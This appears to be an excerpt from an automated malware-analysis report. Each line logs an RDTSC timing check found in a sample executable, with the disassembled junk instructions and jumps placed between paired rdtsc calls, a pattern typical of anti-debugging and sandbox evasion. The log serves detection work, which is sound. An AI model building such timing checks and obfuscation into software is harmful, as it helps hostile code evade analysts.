Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7539F second address: E753A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79805 second address: E79813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79813 second address: E7981D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79205 second address: E79209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79209 second address: E79226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBA3CEC117Bh 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 je 00007FBA3CEC1176h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E794D0 second address: E79517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FBA3CEC18A1h 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 jmp 00007FBA3CEC18A0h 0x00000015 popad 0x00000016 push edi 0x00000017 push ebx 0x00000018 jmp 00007FBA3CEC189Fh 0x0000001d push edi 0x0000001e pop edi 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E79517 second address: E79534 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1189h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7D4B3 second address: E7D4C5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBA3CEC1896h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7D4C5 second address: E7D4CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7D4CD second address: E7D4D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7D4D2 second address: E7D4DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7C8DF second address: E7C8E5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7CA5A second address: E7CA64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FBA3CEC1176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7CA64 second address: E7CA75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC189Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7CA75 second address: E7CA90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBA3CEC1183h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7CA90 second address: E7CABD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC189Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBA3CEC18A7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7CC3E second address: E7CC42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7CC42 second address: E7CC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8145F second address: E814A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1180h 0x00000007 jnp 00007FBA3CEC1176h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jg 00007FBA3CEC117Eh 0x00000015 push ebx 0x00000016 jmp 00007FBA3CEC1187h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E814A2 second address: E814AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E815D7 second address: E815EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jno 00007FBA3CEC117Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E815EA second address: E815F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E815F0 second address: E815F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E815F4 second address: E815F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E815F8 second address: E815FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81BB1 second address: E81BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC18A0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81BC7 second address: E81BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81BCB second address: E81BD5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBA3CEC1896h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26D69 second address: E26DFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FBA3CEC1189h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FBA3CEC1178h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D1D0Ch], ecx 0x00000030 mov ebx, dword ptr [ebp+1247AD0Fh] 0x00000036 cmc 0x00000037 add eax, ebx 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007FBA3CEC1178h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 0000001Ah 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 mov cx, 79E5h 0x00000057 mov edx, 3FFB22ECh 0x0000005c nop 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26DFC second address: E26E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC18A7h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81D24 second address: E81D34 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBA3CEC1176h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81D34 second address: E81D38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E81EAB second address: E81EB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8983A second address: E8983E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8983E second address: E89849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89849 second address: E8984F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8984F second address: E89873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 js 00007FBA3CEC1176h 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pop ecx 0x00000016 jl 00007FBA3CEC1182h 0x0000001c jnl 00007FBA3CEC1176h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89873 second address: E89877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A16F second address: E8A177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A94F second address: E8A953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A953 second address: E8A96C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBA3CEC1176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FBA3CEC117Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9437F second address: E9439B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A3D4 second address: E9A3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBA3CEC1176h 0x0000000a pop ecx 0x0000000b je 00007FBA3CEC117Eh 0x00000011 push eax 0x00000012 pop eax 0x00000013 je 00007FBA3CEC1176h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A5A6 second address: E9A5AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A5AA second address: E9A5AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A823 second address: E9A838 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC189Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AB32 second address: E9AB3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AC94 second address: E9AC98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AC98 second address: E9AC9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B083 second address: E9B089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9B953 second address: E9B979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jng 00007FBA3CEC1176h 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBA3CEC1182h 0x00000013 jo 00007FBA3CEC1176h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA1C31 second address: EA1C3E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBA3CEC1898h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA32A0 second address: EA32A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1E4A second address: DE1E4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1E4E second address: DE1E6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBA3CEC1182h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE1E6A second address: DE1E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA5DAE second address: EA5DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA5DB2 second address: EA5DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA605F second address: EA6093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBA3CEC1176h 0x0000000a popad 0x0000000b pushad 0x0000000c jng 00007FBA3CEC1176h 0x00000012 jmp 00007FBA3CEC1189h 0x00000017 pushad 0x00000018 popad 0x00000019 js 00007FBA3CEC1176h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA6093 second address: EA609E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FBA3CEC1896h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA609E second address: EA60A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA60A4 second address: EA60AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1AE5 second address: EB1AE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1548 second address: EB154C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB154C second address: EB156E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBA3CEC1176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d ja 00007FBA3CEC1176h 0x00000013 je 00007FBA3CEC1176h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jp 00007FBA3CEC1176h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB16D1 second address: EB16D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB89AF second address: EB89B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC148A second address: EC1490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC601D second address: EC6023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6023 second address: EC6038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FBA3CEC1896h 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8B4E second address: EC8B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC117Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2223 second address: ED2227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2227 second address: ED222D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED222D second address: ED223B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jp 00007FBA3CEC1896h 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED223B second address: ED2248 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007FBA3CEC1176h 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2248 second address: ED224E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED0CA9 second address: ED0CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED0CAD second address: ED0CB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED0CB1 second address: ED0CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED0CBD second address: ED0CC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED0CC1 second address: ED0CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED0CC7 second address: ED0CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED0CD0 second address: ED0CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED111B second address: ED111F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED12A9 second address: ED12B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED12B0 second address: ED12CC instructions: 0x00000000 rdtsc 0x00000002 js 00007FBA3CEC1898h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jns 00007FBA3CEC189Ch 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED15BA second address: ED15D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC1188h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED15D6 second address: ED15E1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED15E1 second address: ED15E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED15E7 second address: ED15FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC18A2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED15FE second address: ED1617 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBA3CEC1184h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1617 second address: ED1628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jnl 00007FBA3CEC189Eh 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1628 second address: ED1642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FBA3CEC117Eh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1F59 second address: ED1F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6C2D second address: ED6C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6C36 second address: ED6C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FBA3CEC1896h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6C40 second address: ED6C44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6C44 second address: ED6C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6C4A second address: ED6C72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FBA3CEC117Eh 0x0000000a jg 00007FBA3CEC1176h 0x00000010 jbe 00007FBA3CEC1176h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6C34 second address: EE6C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
